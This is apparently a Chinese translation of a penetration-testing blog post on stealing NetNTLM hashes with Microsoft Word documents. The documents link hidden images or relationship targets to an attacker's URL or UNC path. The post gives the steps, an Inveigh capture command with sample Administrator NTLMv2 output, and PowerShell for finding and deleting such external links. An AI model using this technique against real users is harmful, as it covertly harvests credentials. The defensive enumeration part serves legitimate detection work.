在渗透测试中,Microsoft Word一直是一个很优秀的攻击媒介。从Web应用程序渗透测试到红蓝对抗,Word文档可用于抓取NetNTLM散列或证明网络上的出口过滤不足。已经有很多大佬对Word作为攻击媒介进行了大量的高质量研究。如果你至今还没有机会尝试过,赶紧来试试。首先要确保是通过netbiosX上的最新的博客通过框架捕获NetNTLM散列。
会使用到的工具列表:
为了链接图像,首先要打开“插入”选项卡并单击“图片”图标。然后会将弹出资源管理器窗口。在文件名字段中,输入恶意URL并点击插入下拉菜单选择“链接到文件”。我们模拟一个客户端来做个简单的演示。
一旦链接,破碎的图像可以缩小到没有。如果这样一个恶意文档被用于红蓝对抗或社交类项目,你懂的~~
确保将更改保存到文档中。现在,无论何时打开此文档,Microsoft Word都会尝试解析文档中链接的图像。这些请求记录在Burp协作者客户端中。
这里再讨论一个上文的方法,使用7zip,提取Word文档中包含的文件。我们要修改的文件是位于\ your_word_doc.docx \ word \ _rels \下的document.xml.rels。该文件包含关系列表及其关联的目标。将目标值设置为侦听主机的UNC路径。
保存该文件并使用7zip将其复制到word文档中。
一旦用户打开Word文档,Inveigh或Responder将捕获传入的身份验证请求。
PS C:\> Invoke-Inveigh -NBNS N -LLMNR N -ConsoleOutput Y -IP 192.168.0.2
Inveigh 1.3.1 started at 2017-12-19T17:22:26Elevated Privilege Mode = Enabled
WARNING: Windows Firewall = Enabled
Primary IP Address =
192.168.0.2
LLMNR Spoofer = Disabled
mDNS Spoofer = Disabled
NBNS Spoofer = Disabled
SMB Capture = Enabled
WARNING: HTTP Capture Disabled Due To In Use Port 80
HTTPS Capture = Disabled
Machine Account Capture = Disabled
Real Time Console Output = Enabled
Real Time File Output = Disabled
WARNING: Run Stop-Inveigh to stop Inveigh Press any key to stop real time console output
2017-12-19T17:23:19 SMB NTLMv2 challenge/response captured from 192.168.0.3(DESKTOP-2QRDJR2):
Administrator::DESKTOP-2QRDJR2:57[TRUNCATED]cb:091[TRUNCATED]5BC:010[TRUNCATED]02E0032002E00310038003200000000000000000000000000
这种方法的最主要优点就是,最终用户没有任何迹象表明Word试图连接到恶意的URL或UNC路径。一旦文档被打开,并且在启动时没有显示URL或UNC路径,就会发出请求。
上面描述的方法很简单,但却非常强大,因为它滥用了Microsoft Office中可信的固有功能。本节介绍了两种非常简单的枚举关联目标的方法,而不使用7zip。有很多取证工具集可以更有效地执行这些工作,例如Yara,这绝不是一个全面的取证方法。
Word.Application COM对象可用于访问Word文档的内容。这可以通过几个简单的命令来实现。WordOpenXML属性包含文档中的关系。
$file = "C:\path\to\doc.docx"
$word = New-Object -ComObject Word.Application
$doc = $word.documents.open($file)
$xml = New-Object System.XML.XMLDocument
$xml = $doc.WordOpenXML
$targets = $xml.package.part.xmlData.Relationships.Relationship
$targets | Format-Table
$word.Quit()
这将成功列举文档中的所有关系以及相应的目标。这里的问题是,当使用Word.Application COM对象时,将启动Word进程并解析URL / UNC路径。
为了避免这种情况,我们可以使用DocumentFormat.OpenXML库并枚举文档中的所有外部关系。在测试过程中,没有使用此方法捕获模拟客户端的请求或身份验证请求。
[System.Reflection.Assembly]::LoadFrom("C:\DocumentFormat.OpenXml.dll")
$file = "C:\path\to\doc.docx"
$doc = [DocumentFormat.OpenXml.Packaging.WordprocessingDocument]::Open($file,$true)
$targets = $doc.MainDocumentPart.ExternalRelationships
$targets
$doc.Close()
我们可以更进一步地使用DeleteExternalRelationship方法将通过提供关系id来移除与外部URL的关系。
$doc.MainDocumentPart.DeleteExternalRelationship("rId4")
https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/
翻译者:安识科技吃鸡大王
翻译原文:https://blog.netspi.com/microsoft-word-unc-path-injection-image-linking/
安识科技 |
||
文章数:7 | 积分: 28 | |
安识科技:专业的企业安全解决方案提供商。官网:https://www.duoyinsu.com/ |